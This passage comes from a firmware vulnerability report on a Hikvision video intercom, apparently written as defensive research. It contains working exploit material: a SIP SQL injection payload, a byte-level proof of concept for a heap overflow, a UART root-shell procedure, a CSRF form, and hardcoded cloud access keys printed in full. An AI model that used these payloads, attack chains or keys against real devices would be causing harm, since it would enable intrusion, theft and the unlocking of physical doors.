No credentials are required — SIP REGISTER is sent before authentication in standard SIP flows. The database is opened in read/write mode (sqlite3_open).

Exploit pattern (conceptual):

REGISTER sip:192.168.1.100 SIP/2.0
From: <sip:' UNION SELECT login_password,2,3,4,5,6,7,8,9,10,11,12,13 FROM reg_user--@attack>

References

F-19 — ISAPI Serial Bus Passthrough (RS232/RS485)

Field Value
Severity HIGH
CVSS v3 Score 8.1
CVSS v3 Vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network — authenticated HTTP PUT/GET to /ISAPI/System/Serial/ports/*/Transparent/channels/1/transData
CWE CWE-284: Improper Access Control; CWE-200: Exposure of Sensitive Information
Related CVEs —
Affected Versions All firmware versions
Location hicore — three ISAPI serial passthrough endpoints
Exploitability Confirmed — endpoints present in binary; active connection strings confirmed
Remediation Status Open

Description

hicore exposes three HTTP endpoints that act as transparent serial bus bridges, forwarding arbitrary data between HTTP clients and the device’s physical RS232/RS485 serial ports:

/ISAPI/System/Serial/ports/1/Transparent/channels/1/transData   (RS232 port 1)
/ISAPI/System/Serial/ports/2/Transparent/channels/1/transData   (RS232 port 2)
/ISAPI/System/Serial/ports/3/Transparent/channels/1/transData   (RS485)

These are confirmed present in hicore’s ISAPI dispatch table (file offsets 0x780fb0, 0x780ff0, 0x781030). Active use is corroborated by runtime message strings in the binary:

"RS232 transparent connected."              (0x6713e8)
"RS232 transparent is connected, send serial data failed."     (0x6a1284)
"RS485 transparent is connected, send serial data failed."     (0x6a12d4)

The transData endpoint name and the HTTP method semantics (PUT to send, GET to receive) are consistent with Hikvision’s documented ISAPI Serial Transparent Channel specification, which provides bidirectional raw byte forwarding — no protocol framing, no access control beyond the HTTP session.

Context: The DS-KV6113-WPE1(C) intercom physically connects to access control hardware (door locks, elevator controllers, alarm panels) via its RS232/RS485 serial bus. The device tree blobs (DS170xx.dtb variants) confirm support for multiple hardware configurations, some of which use RS485 for Wiegand/OSDP access controller communication.

An authenticated web user (any non-anonymous HTTP session) can:

  1. Read raw serial output from connected physical hardware (door controller state, access events, keypad input, sensor readings)
  2. Write arbitrary commands to connected hardware — potentially unlocking doors, bypassing alarms, or injecting Wiegand card reads

Authentication required is the device’s web admin password, which is trivially obtained via: F-01 (TLS key decryption → MITM → credential intercept), F-03 (rainbow table against the published root hash), F-08 (Telnet root access → web credential database), or F-17 (unauthenticated RCE → admin access).

Impact

An attacker who possesses any valid web credential — including the default admin account on unprovisioned devices — can issue arbitrary serial commands to any physical hardware connected to the intercom’s RS232 or RS485 bus. In a building access control context, this translates directly to remote door unlock, elevator call, or alarm suppression without physical presence.

The feature is architecturally legitimate (used by integrators for diagnostics), but the combination with the credential exposure findings in this report makes it a high-impact pivot capability.

References

F-20 — Unauthenticated CPIU IPC Message Bus (daemon_fsp_app)

Field Value
Severity HIGH
CVSS v3 Score 7.8
CVSS v3 Vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Local — Unix domain socket /var/daemon_service (no authentication)
CWE CWE-306: Missing Authentication for Critical Function; CWE-787: Out-of-Bounds Write
Related CVEs —
Affected Versions All firmware versions
Location daemon_fsp_app — unix_bus_manager, deal_with_daemon_msg, save_process_regist_info
Exploitability Confirmed (dynamic) — heap OOB write triggers SIGSEGV under QEMU (slot ≥ 192 crashes daemon)
Remediation Status Open

Description

daemon_fsp_app is an IPC message bus daemon that starts at boot before hicore (start.sh line 215: /home/app/daemon_fsp_app&). It listens on a Unix domain socket (tools_process) and implements a five-command dispatch table. The protocol uses a 32-byte message header with magic value 0x55495043 (“CPIU”):

+0:  uint32_t magic      = 0x55495043 ("CPIU")   ← validated at 0x12d74
+4:  uint16_t indicator  = 0x0100 (hardcoded by ipc_unix_send_data)
+6:  uint8_t  load_type  (0 = daemon-internal → deal_with_daemon_msg;
                          1–5 = forward to process type N → deal_with_forwarded_msg)
+7:  uint8_t  proc_addr  (sender process address byte, validated ≤ 5 at 0x12de4)
+8:  uint32_t inner_cmd  (0x10001–0x10005)
+12: uint32_t data_len   (payload size; enforced: data_len + 32 ≤ 4096)
[32-byte header total]
+32: uint8_t payload[]

The top-level dispatch in unix_bus_work (0x131d4) branches on header[6]:

The dispatch table in deal_with_daemon_msg (0x12590) routes on inner_cmd - 0x10001:

cmd_type Handler Function
0x10001 save_process_regist_info Register a process slot in the IPC table
0x10002 broadcast_output_open_info Broadcast OPEN event to all registered clients
0x10003 broadcast_output_close_info Broadcast CLOSE event to all registered clients
0x10004 broadcast_set_debug_info Broadcast arbitrary debug blob to all registered clients
0x10005 display_registered_process Print registered process table to stdout

No authentication is performed at any layer. Any process on the device — including processes spawned from web requests, SIP sessions, or exploited services — can send valid CPIU messages and trigger any handler.

Heap out-of-bounds write — confirmed dynamically (QEMU, SIGSEGV):

Disassembly of save_process_regist_info (0x11f0c) reveals an unchecked array index:

11f8c: ldr  r3, [r3, #12]       ; r3 = msg->data_len (must equal 40)
11f90: cmp  r3, #40
...
12004: ldrb r3, [data_ptr, #4]   ; addr_byte = payload[4]  — 0–255, NO bounds check
12010: lsl  r3, r3, #2           ; r3 = addr_byte * 4
12014: add  r3, r3, r1           ; r3 = addr_byte * 5
12018: lsl  r3, r3, #3           ; r3 = addr_byte * 40
1201c: add  r1, reg_table, r3    ; slot = reg_table + (addr_byte * 40)
                                 ; 40-byte struct written here — no max_process_count check

unix_bus_info_init (0x13990) allocates the registration table for max_process_count = 48 (0x30) slots: reg_table = malloc(48 * 40) = 1920-byte heap buffer. Any addr_byte ≥ 48 writes 40 bytes into adjacent heap memory.

Dynamic confirmation (QEMU): The daemon was emulated under qemu-arm-static with the socket path patched to /tmp/daemon_service. A Python PoC was used to send REGISTER messages with incrementally increasing addr_byte. The daemon log confirmed save_process_regist_info was called for every slot including OOB values. At addr_byte = 192 (reg_table + 7680, which is 5760 bytes past the allocation end), the OOB write corrupted a critical heap pointer and the process exited with SIGSEGV:

[unix_bus.c 269] regist process addr[192], name[boundary], fd[4]
qemu: uncaught target signal 11 (Segmentation fault) - core dumped

The crash was also reproducible with addr_byte = 255 (reg_table + 10200) in an independent run. Slots 48–191 produce silent heap corruption — the daemon continues running but heap integrity is progressively degraded, making later operations unpredictable. On real hardware the process runs as root and a crash resets the IPC bus for all connected services.

The PoC wire message that triggers this (72 bytes total):

Header (32 bytes):
  00-03: 43 50 49 55          ; CPIU magic (0x55495043 LE)
  04-05: 00 01                ; indicator 0x0100
  06:    00                   ; load_type = 0 → deal_with_daemon_msg
  07:    00                   ; proc_addr
  08-11: 01 00 01 00          ; inner_cmd = 0x00010001 (REGISTER)
  12-15: 28 00 00 00          ; data_len = 40
  16-31: 00 × 16              ; reserved

Payload (40 bytes):
  32-35: 00 00 00 00          ; padding
  36:    C0                   ; addr_byte = 192  ← OOB slot (valid max: 47)
  37-71: <process name>

0x10004 SET_DEBUG broadcast: The debug blob from an attacker-controlled CPIU message is forwarded verbatim to every registered client process. If any client processes the content as a format string, command, or structured data without validation, this becomes an inter-process injection channel.

Impact

Any process on the device that has achieved code execution (e.g., via F-17 or F-18) can:

  1. Enumerate all registered IPC processes (0x10005) — reveals the running process architecture and active components
  2. Trigger broadcast state events to all registered clients (0x10002/0x10003) — potential denial of service or state manipulation across the IPC bus
  3. Inject arbitrary debug blobs (0x10004) — propagated to all client processes without sanitisation
  4. Trigger heap OOB write (0x10001, addr_byte ≥ 48) — confirmed denial of service (SIGSEGV at slot ≥ 192); heap corruption from slots 48–191 is a local privilege escalation primitive exploitable from any code execution context

daemon_fsp_app starts before hicore in the boot sequence; disrupting it crashes a critical IPC dependency before hicore is initialised.

References

F-21 — BSP Encryption Layer Uses AES-128-ECB with Device-Bound Decryption Oracle

Field Value
Severity MEDIUM
CVSS v3 Score 4.7
CVSS v3 Vector AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector Local — post-exploitation access to decryptData oracle
CWE CWE-327: Use of a Broken or Risky Cryptographic Algorithm
Related CVEs —
Affected Versions All firmware versions
Location libbsp_data_encrypt.so — bsp_data_encrypt, bsp_data_decrypt, check_key, read_key
Exploitability Confirmed (static) — oracle access requires prior code execution
Remediation Status Open

Description

The BSP encryption library (libbsp_data_encrypt.so, 9.9 KB, not stripped) provides the device’s symmetric data encryption layer. The full key hierarchy and cipher mode were reconstructed from disassembly.

Key hierarchy:

OTP hardware fuse (index 2, factory-written, device-unique)
  ↓ ioctl(fd, 0x40305004, buf) on /dev/DDM/pcp  (DDM_IOC_READ_OTP_STATE)
Root Key — 128-bit, locked in hardware fuses, device-unique, not in firmware
  ↓ work_key_dec()
Working Key — derived from root key, decrypts stored flash blob
  ↓ AES-128-ECB (evp_aes_128_ecb_enc / evp_aes_128_ecb_dec)
Encrypted user data / configuration

The OTP check is performed in check_key():

// Reconstructed from disassembly at 0xa34
open("/dev/DDM/pcp", O_RDWR);
buf[0] = 2;                          // key index = 2
ioctl(fd, 0x40305004, buf);          // fills 48-byte struct
if (buf[1] == 0)
    error("otp key(%d) has not been written!", 2);
else
    key_checked_global = 1;          // global at 0x10bc0

Cipher mode — AES-128-ECB (no IV): Confirmed by direct calls to evp_aes_128_ecb_enc / evp_aes_128_ecb_dec throughout the library. ECB mode processes each 16-byte block independently — identical plaintext blocks always produce identical ciphertext blocks, leaking data patterns and enabling cut-and-paste manipulation of multi-block payloads. NIST SP 800-38A explicitly states ECB is not recommended for messages longer than one block.

Ignored algorithm parameter: bsp_data_decrypt accepts an alg_type argument from the caller, but silently overwrites it before dispatch:

; bsp_data_decrypt (0xd78) — r0 = caller-supplied alg_type on entry
...
; after check_key():
mov r0, #2                   ; HARDCODED: alg_type = 2, caller value discarded
bl  aes_128_ecb_dec           ; AES-128-ECB always, regardless of caller intent

The API signature implies algorithm agility was intended (alg_type parameter exists) but was never implemented. Any caller supplying a different algorithm type is silently downgraded to AES-128-ECB.

decryptData oracle: start.sh line 191 creates /usr/bin/decryptData as a symlink to da_info. The da_info dispatch table (see F-16) includes a decryptData command that calls into libbsp_data_encrypt.so. An attacker with code execution can invoke this oracle directly:

/usr/bin/decryptData <encrypted_blob>  →  plaintext output using device's OTP key

No key extraction from hardware is required — the oracle handles key derivation transparently.

Offline decryption is not feasible: The OTP root key is device-unique and stored in hardware fuses on the Hi3516CV300 SoC. It is absent from the firmware image and cannot be derived from any value in the flash dump. An attacker who exfiltrates encrypted flash data cannot decrypt it without either physical access to this specific device or code execution on it (to use the oracle).

Impact

An attacker who has achieved code execution on the device can use the decryptData oracle to:

  1. Decrypt any BSP-encrypted blob stored on flash — configuration credentials, access codes, registration keys — without needing to extract the hardware OTP
  2. Profile ECB-encrypted data — ECB’s determinism allows identification of repeated 16-byte blocks within ciphertext, potentially inferring data structure or comparing stored blobs across time

Mitigating factor: Without prior code execution, this finding has no practical impact — the key is hardware-bound and absent from the firmware. The primary weaknesses are the ECB cipher mode (which cannot provide semantic security for structured data) and the ignored alg_type parameter (which forecloses any future algorithm migration).

References

F-22 — U-Boot Secure Boot Not Enforced — UART Physical Bypass (1-Second Window)

Field Value
Severity HIGH
CVSS v3 Score 7.6
CVSS v3 Vector AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Physical — UART debug console at ttyS0,115200; U-Boot interrupt window
CWE CWE-1274: Improper Access Control for Volatile Memory Containing Boot Code
Related CVEs —
Affected Versions All firmware versions
Location U-Boot environment at flash offsets 0x3e8e4 and 0x53100; UART pins on PCB
Exploitability Confirmed — U-Boot environment fully recovered from firmware image
Remediation Status Open

Description

The U-Boot environment blocks embedded in the firmware image reveal three critical bootloader security failures.

1. Secure boot verification disabled (verify=n):

bootargs=mem=192M console=ttyS0,115200
verify=n
bootdelay=1
baudrate=115200

The verify=n environment variable disables kernel image signature verification in U-Boot. Any unsigned ARM kernel image placed in memory will boot without a signature check, bypassing the chain of trust from bootloader to OS.

2. One-second interrupt window (bootdelay=1):

With bootdelay=1, an attacker with physical UART access has exactly one second after power-on to send a keypress (<ENTER> or any character) to interrupt the boot sequence and enter the U-Boot command shell. The UART console is active at ttyS0,115200 baud (confirmed by console=ttyS0,115200 in both environment blocks). Once in the U-Boot shell, full memory read/write, environment modification, and arbitrary binary loading are available.

3. Factory TFTP execution path:

The environment block contains a sec variable that triggers a TFTP boot path used during factory provisioning:

sec=secsave;tftp 0x80100000 sample_sec.bin;go 0x80100000;

If bootcmd is set to execute sec, the device fetches sample_sec.bin from the configured TFTP server (serverip=192.0.0.128) and executes it directly at address 0x80100000. This path bypasses all filesystem integrity checks and runs arbitrary code at the bootloader level.

Attack path (with UART access):

1. Power cycle device
2. Connect UART TX/RX to PCB debug header (115200 8N1)
3. Within 1 second of power-on: press <ENTER> → U-Boot shell
4. setenv bootargs 'mem=192M console=ttyS0,115200 init=/bin/sh'
5. cramfsload 0x80400000 uImage  →  boot stock kernel with custom cmdline
   OR: tftpboot 0x80400000 custom.uImage  →  boot unsigned custom kernel
6. Full root shell without any authentication

With an unsigned custom kernel booted, the attacker can mount the CramFS and JFFS2 partitions, read or write hicore, extract the root credentials hash, install a persistent backdoor, or exfiltrate all stored configuration.

Impact

An attacker with physical access to the device’s PCB can obtain a root shell within ~60 seconds from power-on, defeating all software authentication controls. Combined with F-03 (root hash is unsalted SHA-256 — preimage attack possible on known hashes) and F-01 (TLS private key in firmware), physical access leads to complete device compromise including decryption of previously captured TLS traffic.

This also means firmware updates cannot be cryptographically verified by the bootloader — a firmware image signed by anyone (or no one) will boot.

Revision caveat (see §2.1): This finding was derived entirely from U-Boot environment blocks (verify=n) recovered from the chip-off unit. A second, newer physical unit’s live boot capture shows an OTP-locked bootloader ([OTP secure]: Write (Lock), [Start Mode]: Secure) with signature verification passing for both uImage and ramdisk.gz — the opposite security posture.

Live re-test result (this unit, follow-up session): The 1-second bootdelay interrupt window is present and was tested directly. Pressing a key during it does not reach a generic U-Boot => shell as the classic F-22 attack path assumes — it enters a vendor-specific firmware-upgrade menu leading to an unauthenticated TFTP recovery prompt instead (see F-02’s “U-Boot autoboot interrupt testing” for full detail). Neither Ctrl+U (documented elsewhere as an interrupt key on an older Hikvision camera model) nor a genuine serial BREAK condition produced a different result. No path to a generic, unsigned-image-loading U-Boot shell was demonstrated on this unit. F-22 as originally described should be considered specific to the older, chip-off’d hardware revision unless a way into a true command shell is found here. The newly-discovered TFTP recovery menu is a separate, unauthenticated attack surface in its own right, but whether it can be abused to load an unsigned or malicious image was not established (see F-02) — it was not tested further due to bricking risk and the lack of a safe, correct-architecture test image.

References

F-23 — Cloud-Keyed Maintenance Bypass — Privileged ISAPI Access via secretkey Parameter

Field Value
Severity HIGH
CVSS v3 Score 7.4
CVSS v3 Vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network — HTTP GET/PUT to four ISAPI endpoints with ?secretkey= parameter
CWE CWE-306: Missing Authentication for Critical Function; CWE-912: Hidden Functionality
Related CVEs —
Affected Versions All firmware versions
Location hicore — isapi_get_aes_dec_msg, isapi_get_aes_sec_iv, sdkGetAes128Key; /home/config/dev_masterkey
Exploitability Confirmed (static) — master key source confirmed; token forgeability requires dynamic confirmation
Remediation Status Open

Description

hicore implements an alternate authentication path for four ISAPI endpoints that bypasses normal session-based authentication. Instead of a valid session cookie, these endpoints accept a ?secretkey= URL parameter containing an AES-128-CBC encrypted token:

/ISAPI/AccessControl/maintenanceData?secretkey=<token>
/ISAPI/AccessControl/userData?secretkey=<token>
/ISAPI/System/configurationData?secretkey=<token>
/ISAPI/VCS/wireshark/export?secretkey=<token>

Authentication bypass flow (reconstructed from strings):

HTTP request: GET /ISAPI/System/configurationData?secretkey=<enc>&iv=<iv>

hicore:
  isapi_get_aes_sec_iv(url_query)          → extract IV from URL
  isapi_get_aes_dec_msg(url_query)         → extract encrypted secretkey
  sdkGetAes128Key()                        → load master key
  aes_cbc_128_dec_padding(enc, iv, key)    → decrypt secretkey
  if decryption succeeds: grant access without session auth

Master key location: The AES decryption key is loaded via sdkGetAes128Key(), which reads from /home/config/dev_masterkey on the device’s JFFS2 configuration partition. This file is written at device provisioning time by the Ezviz (Hik-Connect) cloud SDK. The key is device-specific and controlled by Hikvision’s cloud infrastructure.

Security implications:

  1. Hikvision cloud access (by design): Any Hikvision cloud system or authorized Hikvision technician with access to the cloud-issued secretkey can read or write device configuration, access user data, and export live packet captures — without requiring the device owner’s credentials. This represents a vendor-controlled persistent backdoor into all cloud-enrolled devices.

  2. /ISAPI/VCS/wireshark/export?secretkey= — live network capture: This endpoint exports a live pcap capture of the device’s network traffic. With a valid secretkey, an attacker (or Hikvision technician) can observe all unencrypted network communication passing through the device, including SIP credentials, ONVIF streams, SADP discovery traffic, and local LAN traffic.

  3. /ISAPI/System/configurationData?secretkey= — configuration read/write: The same endpoint targeted by CVE-2021-36260 (F-17) supports the secretkey authentication path. If the secretkey mechanism can be leveraged to perform a PUT request, the CVE-2021-36260 command injection is achievable without any device credentials.

  4. dev_masterkey exfiltration: The master key at /home/config/dev_masterkey is stored as a regular file on the JFFS2 partition. Any process with local code execution (e.g., via F-17 or F-18) can read this file and reconstruct valid secretkey tokens for arbitrary use — including generating tokens usable on network-identical companion devices if the key is shared across units in the same deployment batch.

Token format: The secretkey token is AES-128-CBC encrypted. The IV is passed separately as a URL parameter alongside the encrypted token. Whether the token contains a timestamp (for replay protection) or is static cannot be determined without a live token from the Hikvision cloud.

Impact

An attacker who can obtain a valid secretkey token — either through Hikvision cloud account compromise, exfiltration of /home/config/dev_masterkey via another vulnerability, or a token replay if replay protection is absent — can:

  1. Read all device configuration without credentials
  2. Read all registered user and access control data
  3. Export a live network packet capture from the device
  4. Write arbitrary device configuration (including the same path as CVE-2021-36260)
  5. Access maintenanceData — scope of this data was not fully mappable statically

The secretkey mechanism is architecturally a vendor maintenance backdoor. Its existence is not disclosed in any public Hikvision documentation reviewed for this report.

References

F-24 — Hardcoded Tokens and Predictable Fallback Encryption Key in hicore

Field Value
Severity HIGH
CVSS v3 Score 7.5
CVSS v3 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector Static extraction; any party with firmware access
CWE CWE-798: Use of Hard-coded Credentials; CWE-321: Use of Hard-coded Cryptographic Key
Related CVEs —
Affected Versions All firmware versions
Location hicore binary — near FacePicEncryptKey / SecureEncryptKey / read_encrypt_key_from_file labels
Exploitability Confirmed (static)
Remediation Status Open

Description

Three hardcoded values appear in a contiguous, 4-byte-aligned data struct in hicore (binary offset ~0x6B5D0C). The surrounding struct is a cloud storage / recording configuration defaults block confirmed by co-located fields:

schedule1          \x00\x00\x00
19700101T000000    \x00
program1           \x00\x00\x00\x00
10.192.74.191      \x00\x00
bucket001          \x00\x00\x00
m249MS9BP401Pl507j36787EOAqNwVo8   \x00\x00\x00\x00
P19G2165J8282Wyy8kEnzS89939K7293   \x00\x00\x00\x00
1234567890abcdef   \x00\x00\x00\x00
HIKDOOR
Value Length Suspected Role
m249MS9BP401Pl507j36787EOAqNwVo8 32 chars Cloud storage Access Key ID (S3-compatible)
P19G2165J8282Wyy8kEnzS89939K7293 32 chars Cloud storage Secret Access Key
1234567890abcdef 16 bytes Default cloud session key or bucket encryption key

Struct context:

The two 32-character strings follow the exact length pattern of AWS-compatible access key ID (20 chars typically) / secret key (40 chars typically) but at 32 chars each — consistent with Hikvision’s proprietary cloud storage API or the Ezviz/Hik-Connect cloud SDK (F-04, F-05). 1234567890abcdef is a predictable 16-byte value appropriate for an AES session key or fixed bucket encryption key.

Scope note: These strings are ~300 KB away from SecureEncryptKey / FacePicEncryptKey / read_encrypt_key_from_file in binary address space. A causal link to the key-management code cannot be confirmed statically; that remains an open question for dynamic analysis.

Impact

  1. Cloud storage credential exposure: Any party with firmware access obtains credentials for the Hikvision cloud storage endpoint hardcoded at 10.192.74.191 / bucket001. If these credentials grant write access, an attacker could overwrite cloud-synced recordings or configuration backups. If they grant read access, all cloud-stored video or config for devices sharing these defaults is readable.
  2. Predictable session key: 1234567890abcdef as an encryption key for cloud-uploaded content renders that content decryptable by any party who has read the firmware — no device-specific secret required.
  3. Cross-device reuse: Values are identical across all units running this firmware version.

Dynamic Confirmation Required

References

F-25 — No CSRF Protection on Web Interface

Field Value
Severity MEDIUM
CVSS v3 Score 6.5
CVSS v3 Vector AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Attack Vector Network — victim admin visits a malicious page while authenticated to the device web UI
CWE CWE-352: Cross-Site Request Forgery (CSRF)
Related CVEs —
Affected Versions All firmware versions
Location webs.tar.gz — all JS bundles (doc/*.bundle.js, doc/app.js)
Exploitability Confirmed (static)
Remediation Status Open

Description

A complete grep across all JavaScript bundles in webs.tar.gz for CSRF mitigation patterns (csrf, X-Request-With, _token, antiCsrf, requestToken) returned zero results. The web application issues at least 19 state-changing HTTP requests (9 POST, 8 PUT, 2 DELETE) without any anti-CSRF header or token.

The web application uses cookie-based session authentication (Digest/session cookies via /ISAPI/Security/sessionLogin). Browsers send these cookies automatically with same-origin and cross-origin requests. Without a CSRF token, any web page the authenticated administrator visits can silently issue requests to the device as the administrator.

High-value CSRF targets (state-changing POST/PUT endpoints visible in JS):

Endpoint Impact
PUT /ISAPI/System/configurationData Command injection (CVE-2021-36260, F-17)
PUT /ISAPI/System/updateFirmware Replace firmware with attacker-controlled image
POST /ISAPI/Custom/OpenPlatform/uploadApp?token= Install malicious third-party application
PUT /ISAPI/AccessControl/UserInfo/Setup Add/modify/delete access control users
PUT /ISAPI/Security/... Certificate and security configuration changes

Impact

An attacker who can persuade a device administrator to visit a malicious page (phishing, LAN-resident page, or malicious QR code) while logged into the device web UI can:

  1. Trigger CVE-2021-36260 (F-17) — command injection to root shell — with zero additional credentials.
  2. Flash malicious firmware — by issuing a PUT /ISAPI/System/updateFirmware request.
  3. Add rogue admin users or door access cards — persistent access after the attack.
  4. Install a malicious OpenPlatform application — if the token-based upload path requires only the ?token= parameter.

Because the device is typically accessed from a browser on the same LAN, CSRF attacks are practical in any scenario where the attacker can serve content to the LAN (compromised IoT device, malicious network advertisement, etc.).

Proof of Concept (Static — Requires Dynamic Confirmation)

<!-- Attacker-controlled page, visited by logged-in admin -->
<form id="csrf" action="http://<device-ip>/ISAPI/System/configurationData" method="POST">
  <input type="hidden" name="body" value="<config><network><dhcp>on</dhcp></network></config>">
</form>
<script>document.getElementById('csrf').submit();</script>

References

7. Software Bill of Materials (SBOM)

Component Version License CVE Count Exploits Status
Linux Kernel 3.18.20 GPL v2 3,856 95 EOL ~2017
BusyBox 1.31.1 GPL v2 15 0 Outdated
BusyBox 1.2.1 GPL v2 17 0 EOL
curl 7.35.0 MIT/curl — — EOL 2014
OpenSSL 1.0.2j OpenSSL 43 5 EOL 2019
OpenSSL 1.1.1-pre8 OpenSSL — — Pre-release
mbed TLS 2.4.0 Apache 2.0 — — EOL (2.x)
SQLite 3.7.10 Public Domain 26 3 EOL
uClibc 0.9.33.2 LGPL v2.1 — — EOL ~2012
Dropbear 2018.76 MIT — — Outdated
wpa_supplicant 2.2 BSD 36 0 EOL
UPnP SDK 1.6.17 BSD 2-Clause 2 2 Outdated
libpcap 1.9.1 BSD 2-Clause — — Outdated
libnl 3.5.0 LGPL v2.1 — — Outdated
zlib 1.2.8 zlib 10 0 Outdated
zlib 1.2.11 zlib 6 0 Current
ezxml 0.8.6 MIT — — Unmaintained
udt 4.11 BSD 2-Clause — — Unmaintained
libgcc — GPL v3 — — —
libstdc++ 6.0.20 GPL v3 — — Outdated

8. CVE Cross-Reference

Critical CVEs with Confirmed, Probable, or Unverified Exploit Applicability

CVE CVSS Component Exploitability Exploit Details
CVE-2015-8104 10.0 Linux 3.18 Probable KVM privilege escalation — highest CVSS possible
CVE-2016-5195 7.8 Linux 3.18 Confirmed Dirty COW — EDB-40611 / EDB-40839 / Metasploit / EPSS 89%
CVE-2015-1328 7.2 Linux 3.18 Confirmed overlayfs — EDB-40688 / Metasploit / EPSS 89%
CVE-2015-8660 7.2 Linux 3.18 Confirmed overlayfs setuid — multiple EDBs / EPSS 59%
CVE-2016-0728 7.8 Linux 3.18 Confirmed keyring UAF — EDB-40003 / EPSS 49%
CVE-2015-8812 9.8 Linux 3.18 Probable Remote code execution
CVE-2016-10229 9.8 Linux 3.18 Probable UDP remote RCE
CVE-2021-36260 9.8 Hikvision ISAPI Probable Unauthenticated command injection — endpoint confirmed in hicore, version V2.1.5 in affected range; Metasploit available (see F-17)
CVE-2017-7921 9.8 Hikvision auth Unverified Authentication bypass — not tested on this device
CVE-2017-7923 8.8 Hikvision auth Unverified Password disclosure — not tested on this device
CVE-2022-32250 7.8 Linux 3.18 Probable nft_object UAF — Netfilter
CVE-2022-2586 7.0 Linux 3.18 Probable nft_object UAF — kernel >= 3.16
CVE-2021-3493 7.8 Linux 3.18 Probable OverlayFS — Ubuntu 14.04–20.10
CVE-2021-22555 7.8 Linux 3.18 Probable Netfilter heap OOB — kernel >= 2.6.19
CVE-2017-7308 7.8 Linux 3.18 Probable af_packet privilege escalation
CVE-2017-6074 7.8 Linux 3.18 Probable DCCP UAF — CONFIG_IP_DCCP
CVE-2017-13077 8.1 wpa_supplicant 2.2 Applicable KRACK Wi-Fi key reinstallation attack
CVE-2022-05-02 7.7 uClibc DNS Applicable DNS cache poisoning

The Linux 3.18.20 kernel carries 3,856 total CVEs — the above table lists only those with confirmed or probable exploit availability. Full CVE enumeration is provided in Appendix E.

9. Attack Surface Map

                          ┌────────────────────────────────────────┐
                          │         INTERNET / LAN                 │
                          └──────────────┬─────────────────────────┘
                                         │
                   ┌─────────────────────▼────────────────────────────┐
                   │            DS-KV6113-WPE1(C)                     │
                   │                                                   │
                   │  ┌───────────────────────────────────────────┐   │
                   │  │ INBOUND NETWORK ATTACK SURFACE            │   │
                   │  │  • HTTPS/ISAPI — CVE-2021-36260 (9.8)     │   │
                   │  │  • RTSP video stream                       │   │
                   │  │  • SIP/VoIP — SQL injection via REGISTER   │   │
                   │  │  • SSH Dropbear 2018.76 (preset host keys)  │   │
                   │  │  • Telnet (config-enabled, unencrypted)    │   │
                   │  │  • ONVIF / UPnP SDK 1.6.17 (2 CVEs)       │   │
                   │  │  • mDNS / SSDP (239.255.255.250:1900)     │   │
                   │  └───────────────────────────────────────────┘   │
                   │                                                   │
                   │  ┌───────────────────────────────────────────┐   │
                   │  │ OUTBOUND / POTENTIAL EXFILTRATION         │   │
                   │  │  (endpoints found in binary — static      │   │
                   │  │   analysis only; not confirmed active)     │   │
                   │  │  • log.hikvision.com (event logs)         │   │
                   │  │  • recordType.meta.hikvision.com          │   │
                   │  │  • RaCM/trackExt/ver10 (usage tracking)   │   │
                   │  │  • Ezviz cloud (video / control)          │   │
                   │  │  • DDNS registration (Hikvision)          │   │
                   │  │  • Face capture uploads (S3-style bucket) │   │
                   │  └───────────────────────────────────────────┘   │
                   │                                                   │
                   │  ┌───────────────────────────────────────────┐   │
                   │  │ LOCAL / PHYSICAL ATTACK SURFACE           │   │
                   │  │  • UART console — ttyS0, 115200 baud      │   │
                   │  │  • SPI flash chip-off read / write        │   │
                   │  │  • Kernel exploits once shell reached      │   │
                   │  │    (dirtycow, overlayfs — Metasploit)     │   │
                   │  └───────────────────────────────────────────┘   │
                   └──────────────────────────────────────────────────┘

  Exploit chain examples:
  [CVE-2021-36260 RCE] → [unprivileged shell] → [Dirty COW / overlayfs] → [root]
  [SIP SQL injection (F-18)] → [credential dump] → [web admin] → [serial bus injection (F-19)] → [door unlock]
  All network steps require no prior authentication.

10. Recommendations

Immediate Actions for Deployers

Priority Action
P0 Remove device from internet-facing or high-security environments
P0 Block all outbound connections to *.hikvision.com, *.ezviz.com at the firewall
P1 Change admin password immediately after deployment
P1 Disable Ezviz/cloud connectivity in device settings
P1 Do not trust the device’s TLS certificate; use a separate PKI
P1 Isolate device on a dedicated VLAN with no outbound internet access
P2 Monitor for outbound connections to 10.192.74.191, 10.19.132.120, 114.114.114.114, 223.5.5.5
P2 Do not expose SSH or Telnet on this device to any network

Vendor Remediation Required (Hikvision)

ID Requirement Effort
R-01 Provision unique TLS key pairs per device at manufacturing time; update both CramFS and JFFS2 partitions High
R-02 Remove the psh backdoor mechanism entirely; document all undisclosed auth paths High
R-03 Enforce unique per-device root passwords set at first boot; use bcrypt/Argon2id Medium
R-04 Disclose all data transmitted to cloud infrastructure; obtain explicit user consent Medium
R-05 Provide a fully-local operation mode with no mandatory cloud connections High
R-06 Disclose the purpose and operation of digicapkeyArm.ko; make boot script auditable Medium
R-07 Generate unique SSH host keys per device at first boot Low
R-08 Remove Telnet support from firmware entirely Low
R-09 Upgrade Linux kernel to a maintained LTS version (5.15+ or 6.1+) High
R-10 Update all OSS components to currently maintained versions High
R-11 Recompile all binaries with full hardening: RELRO, stack canaries, NX, PIE Medium
R-12 Conduct a systematic code audit of hicore addressing all strcpy, system(), and format string issues High
R-13 Remove all internal Hikvision IP addresses from production firmware Low
R-14 Remove hardcoded Chinese DNS servers; allow deployer-configured resolvers Low
R-15 Implement a signed firmware update mechanism with version rollback protection High
R-16 Replace all sprintf/sqlite3_exec SQL construction in sipServer with parameterised queries (sqlite3_prepare_v2 + sqlite3_bind_text) Medium
R-17 Restrict or remove the ISAPI serial transparent channel; require explicit per-port enable at configuration time with documented security implications Medium

11. Responsible Disclosure

Field Detail
Discovery Date 2026-05-10 (analysis ongoing — Phase 2 pending)
Vendor Notified Pending — responsible disclosure process not yet initiated
Vendor Response N/A
Patch Available None as of 2026-05-10
Public Disclosure Pending completion of Phase 2 analysis
Coordinated With To be determined (CISA / CERT under consideration)

